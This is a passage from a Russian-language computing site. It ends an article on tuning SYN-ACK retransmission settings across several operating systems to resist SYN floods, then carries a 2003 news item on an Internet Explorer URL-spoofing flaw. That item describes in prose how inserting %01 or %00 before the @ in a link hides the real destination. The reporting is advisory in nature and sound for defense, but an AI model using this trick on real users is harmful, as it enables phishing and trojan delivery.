В Windows 2000, время для первой перепередачи, по умолчанию, равно 3 секундам (3000 миллисекундам) и может быть изменено с помощью значения элемента системного реестра TcpInitialRtt (для каждого интерфейса). Например, для уменьшения времени первой перепередачи до 2 секунд, мы должны установить значение TcpInitialRtt равным 2000 миллисекундам (в десятичном формате). Количество перепередач (пакетов с флагами SYN и ACK) управляется параметром системного реестра TcpMaxConnectResponseRetransmissions, который добавляется к ключу HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters.

Ниже показана таблица, содержащая примеры значений, и соответствующее им время хранения полуоткрытых соединений в очереди задач (время первой перепередачи равно 3 секундам).

Значение

Время перепередачи

Полное время хранения полуоткрытых соединений в очереди

1

на 3-ей секунде

9 секунд

2

на 3-ей и 9-ой секундах

21 секунда

3

на 3-ей, 9-ой и 21 секундах

45 секунд

Мы можем установить это значение системного реестра в 0, после чего Windows вообще повторно не передает пакеты. В этом случае, система посылает только один ответ и удаляет полуоткрытое соединение через 3 секунды. Эта установка игнорируется, когда ее значение равно или больше 2, и когда включен механизм SynAttackProtect.

Операционная система: Linux RedHat

Переменная Tcp_synack_retries управляет количеством перепередач в операционной системе Linux. По умолчанию, для большинства операционных систем Linux, это значение равно 5, что означает удаление полуоткрытого соединения через 3 минуты. Ниже приведена таблица с вычислениями для других значений.

Значение

Время перепередачи

Полное время хранения полуоткрытых соединений в очереди

1

на 3-ей секунде

9 секунд

2

на 3-ей и 9-ой секундах

21 секунда

3

на 3-ей, 9-ой и 21 секундах

45 секунд

Операционная система: Sun Solaris

В этой операционной системе невозможно отключить перепередачи пакетов, непосредственно используя команду ndd. Кроме того, в ОС Sun Solaris есть параметры, которые являются неконфигурируемыми и которые управляют количеством перепередач (как минимум 3) и полным временем перепередачи пакетов (как минимум 3 минуты).

Операционная система: HP-UX

В HP-UX, время обработки полуоткрытых соединений в очереди задач управляется параметром tcp_ip_abort_cinterval. Используя ndd команду, мы можем определить время ожидания ACK пакета. Изменяя это значение мы косвенно можем управлять количеством выполненных перепередач. Взгляните на таблицу представленную ниже.

Значение

Время перепередачи

Полное время хранения полуоткрытых соединений в очереди

1000

-

1 секунда

5000

На 2-ой секунде

5 секунд

10000

на 2-ой и 5-ой секундах

10 секунд

60000

на 2-ой, 5-ой, 11 и 47-ой секундах

1 минута

Мы можем изменить время первой перепередачи, изменив значение tcp_rexmit_interval_initial. Интервалы последующих перепередач управляются двумя параметрами: tcp_rexmit_interval и tcp_rexmit_interval_min. Эти три переменной такие же, как и в ОС Sun Solaris.

Выводы

Методы укрепления защиты стека TCP/IP, представленные в этой статье, делают серверы более стойкими к SYN-атакам - одним из видов DDoS атак. Модификация заданных по умолчанию параметров настроек  стека TCP/IP также рекомендуется в течение процесса защиты операционной системы.

16.12.2003 Очередная дыра в Internet Explorer

Датская компания Secunia, специализирующаяся по вопросам компьютерной безопасности, выпустила предупреждение о новой дыре в браузере Internet Explorer. Используя эту уязвимость, хакер может отобразить в адресной или статусной строке браузера поддельный URL, не соответствующий реальному. Это позволяет злоумышленнику заманивать пользователя на страницы с опасным содержимым, замаскировав их под заслуживающие доверия ресурсы. Например, хакер может подсунуть пользователю троян под видом какой-нибудь полезной программы от известного разработчика.

Ситуация усугубляется тем, что ошибку в Internet Explorer очень легко использовать. Для этого нужно составить URL, содержащий имя пользователя (в этом качестве можно использовать адрес какого-либо известного сайта). Между именем пользователя и значком @, отделяющим имя от адреса сайта нужно добавить символы %01. Далее может идти адрес сайта, контролируемого злоумышленником. При нажатии на такую ссылку пользователь перейдет на сайт, адрес которого записан после символа @, а в адресной строке отобразится текст, записанный до этого знака. Убедиться в наличии уязвимости на сайте Secunia.

В другом случае перед знаком @ нужно записать символы %00. Тогда поддельный URL отобразится в статусной строке Internet Explorer. Наличие дыры, оцененной Secunia как "умеренно критичная", достоверно установлено для шестой версии Internet Explorer. Более ранние версии браузера не тестировались. В качестве временного решения проблемы в Secunia рекомендуют использовать функции фильтрации URL брандмауэра или прокси-сервера, а также соблюдать бдительность при работе в Сети. Патча от Microsoft, устраняющего ошибку не стоит ожидать ранее января 2004 года - в декабре компания от выпуска заплаток.

Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  строительство из газоблоков по низуим ценам.  |  |  |  | Память | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Горячая линия бесплатной юридической консультации | Благотворительность

На главную | Cookie policy | Sitemap

 ©  2004